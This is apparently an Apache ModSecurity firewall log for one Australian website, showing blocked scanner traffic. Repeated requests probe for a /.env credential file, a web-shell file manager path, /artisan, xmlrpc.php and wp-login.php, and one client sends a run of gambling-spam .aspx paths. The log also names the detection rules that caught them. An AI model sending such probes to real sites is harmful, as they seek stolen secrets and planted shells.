[Thu Mar 26 02:46:38.309587 2026] [:error] [pid 55735:tid 55876] [client 43.131.243.61:40174] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acQtjkhXsYCMQZKUd5O8lgAAARQ"]
[Thu Mar 26 03:56:48.449090 2026] [:error] [pid 16505:tid 16560] [client 172.213.225.120:64779] [client 172.213.225.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acQ-AOa38IckCrCncFn_XgAAAFQ"]
[Thu Mar 26 03:56:49.671974 2026] [:error] [pid 16502:tid 16514] [client 172.213.225.120:65251] [client 172.213.225.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acQ-AZVYZY2TzxdvDKtCXwAAAAE"]
[Thu Mar 26 04:31:03.095183 2026] [:error] [pid 19712:tid 19783] [client 79.122.30.166:50868] [client 79.122.30.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.122.30.166, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acRGB9WhKhRNqm23vFOQswAAAIc"]
[Thu Mar 26 06:00:35.805020 2026] [:error] [pid 60829:tid 60839] [client 182.42.105.85:59420] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acRbA_TdjHKeZokybaTY2AAAAQg"]
[Thu Mar 26 07:12:51.785032 2026] [:error] [pid 19712:tid 19781] [client 192.3.207.218:56713] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/artisan"] [unique_id "acRr89WhKhRNqm23vFPd7wAAAIU"]
[Thu Mar 26 07:12:52.870126 2026] [:error] [pid 60829:tid 60851] [client 192.3.207.218:57129] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/artisan"] [unique_id "acRr9PTdjHKeZokybaQpfwAAARQ"]
[Thu Mar 26 07:12:53.300153 2026] [:error] [pid 19710:tid 19740] [client 192.3.207.218:57621] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/artisan"] [unique_id "acRr9QVEWP8Ar68Njk6oxwAAABI"]
[Thu Mar 26 07:12:53.514294 2026] [:error] [pid 60829:tid 60837] [client 192.3.207.218:56286] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "acRr9fTdjHKeZokybaQplgAAAQY"]
[Thu Mar 26 07:12:53.937780 2026] [:error] [pid 19710:tid 19740] [client 192.3.207.218:58098] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "acRr9QVEWP8Ar68Njk6o9wAAABI"]
[Thu Mar 26 07:12:54.793052 2026] [:error] [pid 19710:tid 19725] [client 192.3.207.218:58448] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "acRr9gVEWP8Ar68Njk6pKgAAAAM"]
[Thu Mar 26 07:12:55.221948 2026] [:error] [pid 19818:tid 19838] [client 192.3.207.218:59145] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "acRr98zaSnm3d1BeM5WN5AAAANI"]
[Thu Mar 26 07:24:22.664107 2026] [:error] [pid 60829:tid 60852] [client 185.223.152.206:42059] [client 185.223.152.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.206, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acRupvTdjHKeZokybaQtRwAAARU"]
[Thu Mar 26 12:35:46.503269 2026] [:error] [pid 19710:tid 19746] [client 43.133.14.237:53868] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acS3ogVEWP8Ar68Njk7PbwAAABg"]
[Thu Mar 26 13:48:24.197327 2026] [:error] [pid 31780:tid 31845] [client 193.165.236.138:51665] [client 193.165.236.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.165.236.138, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acTIqJJDwZsy5O4ZXEg20AAAAhg"]
[Thu Mar 26 16:03:29.165504 2026] [:error] [pid 31670:tid 31695] [client 151.196.18.82:56990] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acToUTXVthXxCnWjOTQ0WQAAAVc"]
[Thu Mar 26 16:03:30.006389 2026] [:error] [pid 31780:tid 31823] [client 151.196.18.82:57051] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acToUpJDwZsy5O4ZXEhmNQAAAgM"]
[Thu Mar 26 16:03:30.860047 2026] [:error] [pid 19818:tid 19820] [client 151.196.18.82:57054] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acToUszaSnm3d1BeM5Wu0QAAAMA"]
[Thu Mar 26 16:03:33.298412 2026] [:error] [pid 19818:tid 19828] [client 151.196.18.82:57059] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acToVczaSnm3d1BeM5Wu5gAAAMg"]
[Thu Mar 26 16:03:34.129106 2026] [:error] [pid 19818:tid 19821] [client 151.196.18.82:57064] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acToVszaSnm3d1BeM5Wu9AAAAME"]
[Thu Mar 26 16:03:36.447200 2026] [:error] [pid 19818:tid 19837] [client 151.196.18.82:57076] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acToWMzaSnm3d1BeM5WvDQAAANE"]
[Thu Mar 26 16:03:37.278288 2026] [:error] [pid 31780:tid 31841] [client 151.196.18.82:57082] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acToWZJDwZsy5O4ZXEhmPQAAAhQ"]
[Thu Mar 26 16:03:39.685720 2026] [:error] [pid 31717:tid 31729] [client 151.196.18.82:57098] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acToW7-SCF7YDISDX4_H5QAAAYc"]
[Thu Mar 26 16:03:40.540986 2026] [:error] [pid 31780:tid 31836] [client 151.196.18.82:57101] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acToXJJDwZsy5O4ZXEhmQgAAAg8"]
[Thu Mar 26 16:03:42.984130 2026] [:error] [pid 19818:tid 19827] [client 151.196.18.82:57112] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acToXszaSnm3d1BeM5WvIwAAAMc"]
[Thu Mar 26 16:03:43.820104 2026] [:error] [pid 19818:tid 19831] [client 151.196.18.82:57118] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acToX8zaSnm3d1BeM5WvKAAAAMs"]
[Thu Mar 26 16:03:46.288004 2026] [:error] [pid 31670:tid 31677] [client 151.196.18.82:57133] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acToYjXVthXxCnWjOTQ0bAAAAUU"]
[Thu Mar 26 16:03:47.125508 2026] [:error] [pid 60829:tid 60854] [client 151.196.18.82:57135] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acToY_TdjHKeZokybaSbagAAARc"]
[Thu Mar 26 16:03:49.622553 2026] [:error] [pid 19710:tid 19728] [client 151.196.18.82:57149] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acToZQVEWP8Ar68Njk7p0wAAAAY"]
[Thu Mar 26 16:03:50.462578 2026] [:error] [pid 31780:tid 31838] [client 151.196.18.82:57152] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acToZpJDwZsy5O4ZXEhmVAAAAhE"]
[Thu Mar 26 16:03:52.950966 2026] [:error] [pid 31778:tid 31803] [client 151.196.18.82:57163] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acToaA3kybI2o-xasmDSLQAAAco"]
[Thu Mar 26 16:03:53.805982 2026] [:error] [pid 19710:tid 19724] [client 151.196.18.82:57164] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "acToaQVEWP8Ar68Njk7p2QAAAAI"]
[Thu Mar 26 16:03:56.269736 2026] [:error] [pid 19711:tid 19767] [client 151.196.18.82:57175] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acTobGj3l1y81GYfluR-rAAAAFI"]
[Thu Mar 26 16:03:57.621342 2026] [:error] [pid 60829:tid 60840] [client 151.196.18.82:57178] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "acTobfTdjHKeZokybaSbdAAAAQk"]
[Thu Mar 26 16:03:59.963903 2026] [:error] [pid 19712:tid 19786] [client 151.196.18.82:57190] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acTob9WhKhRNqm23vFMMCwAAAIo"]
[Thu Mar 26 16:04:00.801309 2026] [:error] [pid 60829:tid 60834] [client 151.196.18.82:57193] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "acTocPTdjHKeZokybaSbeQAAAQM"]
[Thu Mar 26 16:04:03.280243 2026] [:error] [pid 31778:tid 31817] [client 151.196.18.82:57201] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acTocw3kybI2o-xasmDSPAAAAdg"]
[Thu Mar 26 16:04:04.120437 2026] [:error] [pid 31717:tid 31726] [client 151.196.18.82:57203] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "acTodL-SCF7YDISDX4_H8gAAAYQ"]
[Thu Mar 26 16:04:06.593535 2026] [:error] [pid 31670:tid 31693] [client 151.196.18.82:57220] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acTodjXVthXxCnWjOTQ0hwAAAVU"]
[Thu Mar 26 16:04:07.433295 2026] [:error] [pid 31778:tid 31798] [client 151.196.18.82:57222] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "acTodw3kybI2o-xasmDSQQAAAcU"]
[Thu Mar 26 16:04:09.911794 2026] [:error] [pid 31670:tid 31687] [client 151.196.18.82:57235] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acToeTXVthXxCnWjOTQ0kQAAAU8"]
[Thu Mar 26 16:04:10.746912 2026] [:error] [pid 60829:tid 60847] [client 151.196.18.82:57237] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "acToevTdjHKeZokybaSbhQAAARA"]
[Thu Mar 26 16:04:13.221839 2026] [:error] [pid 31717:tid 31729] [client 151.196.18.82:57247] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acTofb-SCF7YDISDX4_H-wAAAYc"]
[Thu Mar 26 16:04:14.058092 2026] [:error] [pid 31780:tid 31840] [client 151.196.18.82:57252] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "acTofpJDwZsy5O4ZXEhmbAAAAhM"]
[Thu Mar 26 16:04:16.640187 2026] [:error] [pid 60829:tid 60853] [client 151.196.18.82:57269] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acTogPTdjHKeZokybaSbigAAARY"]
[Thu Mar 26 16:04:17.472303 2026] [:error] [pid 19710:tid 19729] [client 151.196.18.82:57274] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "acTogQVEWP8Ar68Njk7p8wAAAAc"]
[Thu Mar 26 16:04:51.582423 2026] [:error] [pid 31780:tid 31834] [client 151.196.18.82:57297] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acToo5JDwZsy5O4ZXEhmuwAAAg0"]
[Thu Mar 26 16:04:52.438469 2026] [:error] [pid 31670:tid 31679] [client 151.196.18.82:57426] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acTopDXVthXxCnWjOTQ0ywAAAUc"]
[Thu Mar 26 16:04:53.282303 2026] [:error] [pid 60829:tid 60837] [client 151.196.18.82:57432] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acTopfTdjHKeZokybaSbvwAAAQY"]
[Thu Mar 26 16:04:56.705674 2026] [:error] [pid 19818:tid 19836] [client 151.196.18.82:57457] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acToqMzaSnm3d1BeM5WviQAAANA"]
[Thu Mar 26 16:04:57.542670 2026] [:error] [pid 31670:tid 31687] [client 151.196.18.82:57469] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acToqTXVthXxCnWjOTQ0zwAAAU8"]
[Thu Mar 26 16:05:00.023381 2026] [:error] [pid 19818:tid 19841] [client 151.196.18.82:57481] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acTorMzaSnm3d1BeM5WvjgAAANU"]
[Thu Mar 26 16:05:00.864003 2026] [:error] [pid 31778:tid 31794] [client 151.196.18.82:57494] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acTorA3kybI2o-xasmDSdwAAAcE"]
[Thu Mar 26 16:05:03.392514 2026] [:error] [pid 19712:tid 19783] [client 151.196.18.82:57511] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acTor9WhKhRNqm23vFMMIwAAAIc"]
